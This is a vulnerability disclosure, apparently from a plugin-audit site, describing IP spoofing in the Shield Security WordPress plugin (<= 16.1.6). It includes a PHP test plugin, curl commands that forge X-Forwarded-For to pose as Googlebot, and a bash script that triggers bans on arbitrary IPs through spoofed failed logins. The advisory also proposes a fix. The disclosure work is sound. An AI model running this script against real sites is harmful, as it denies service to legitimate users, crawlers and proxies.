DOS through IP spoofing – (Shield Security <= 16.1.6)

| in


Affected pluginShield Security
Active installs60,000+
Vulnerable version<= 16.1.6
Audited version16.1..1
Fully patched version
Recommended remediationRemoval of the plugin

Description


The plugin is vulnerable to IP spoofing, which an attacker can exploit to ban search engine crawlers, the site’s reverse proxy, or legitimate users.

Proof of concept


The plugin uses the FernleafSystems\Wordpress\Services\Core\Request::ip method almost everywhere it needs an IP address.

This method will delegate IP detection to several service classes, so we won’t discuss why they are vulnerable to IP spoofing in detail.

To summarize:

  • The plugin assumes HTTP headers always contain trustworthy value
  • The leftmost IP is used if a HTTP header contains multiple IPs. The leftmost IP is always one that an attacker can spoof.

You can verify the vulnerability with the following must-use plugin:

<?php
// wp-content/mu-plugins/ip.php  
  
declare(strict_types=1);

use FernleafSystems\Wordpress\Services\Services;

$real_user_ip = '147.93.33.75';
$_SERVER['REMOTE_ADDR'] = $real_user_ip;

/**
 * A load balancer will create the header by always appending it to the right.
 * Not doing so would validate the HTTP spec.
 */
if (empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['HTTP_X_FORWARDED_FOR'] = $real_user_ip;
} else {
    $_SERVER['HTTP_X_FORWARDED_FOR'] = $_SERVER['HTTP_X_FORWARDED_FOR'].','.$real_user_ip;
}

if ( ! isset($_SERVER['HTTP_TEST_IP'])) {
    return;
}

add_action('plugins_loaded', function () {
    $request = Services::Request();
    echo $request->ip();
    echo "\n";
    die();
});;

Change the IP source from “automatic” to “X_HTTP_FORWARDED_FOR” under “Config => General => IP source”.

Then run the following curl commands:

curl -X GET https://site.test -H "Test-IP: 1"
147.93.33.75 ## This works as expected and is the correct IP.

Now:

curl -X GET https://site.test -H "Test-IP: 1" -H "X-Forwarded-For: 66.249.66.67"
66.249.66.67 # Spoofed to IP

The plugin now thinks that the request comes from Google-Bot.

There are many ways to abuse IP spoofing since the plugin uses the spoofed IP in many security-related contexts.

An attacker can use the following bash script to permanently ban arbitrary IPs by submitting several invalid login requests.

#!/usr/bin/env bash

# ban-ip.sh

IP="$1"
DOMAIN="$2"
TOTAL="${3:-10}"

for ((i=1; i <= TOTAL; i++))
do

 curl -s -X POST "https://$DOMAIN/wp-login.php" \
        -H "X-Forwarded-For: $IP" \
        -d "log=admin" \
        -d "pwd=foo" > /dev/null

 echo "$i"

done
bash ban-ip.sh "189.192.110.1" "site.test"

The IP “189.192.110.1” is now banned.

curl -X GET https://site.test  -H "X-Forwarded-For: 189.192.110.1" | grep "Access Restricted"
<title>Access Restricted | Shield Security</title>

Proposed patch


The needed patch is described in great length in this article of us.

Summary: Only ever use REMOTE_ADDR to access to current IP.

Timeline


Vendor contactedSeptember 12, 2022
First ResponseSeptember 12, 2022
Fully patched at
Publicly disclosedApril 24, 2023

Miscellaneous


Leave a Reply

Your email address will not be published. Required fields are marked *